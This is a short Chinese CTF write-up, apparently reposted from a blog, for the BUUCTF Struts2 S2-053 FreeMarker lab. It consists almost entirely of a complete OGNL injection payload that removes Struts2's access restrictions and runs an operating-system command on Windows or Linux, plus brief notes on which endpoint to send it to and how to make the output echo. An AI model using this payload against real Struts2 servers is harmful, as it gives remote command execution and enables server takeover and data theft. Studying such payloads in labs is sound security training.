buuctf [struts2]s2-053
作者:互联网
漏洞简介
在一定条件下,当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞
https://www.freebuf.com/vuls/147735.html
漏洞利用
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
访问/hello.action
在POC后面按一个回车才能回显
打印环境变量ENV
标签:ognlUtil,buuctf,container,s2,cmd,漏洞,struts2,dm,com 来源: https://blog.csdn.net/qq_36241198/article/details/115056179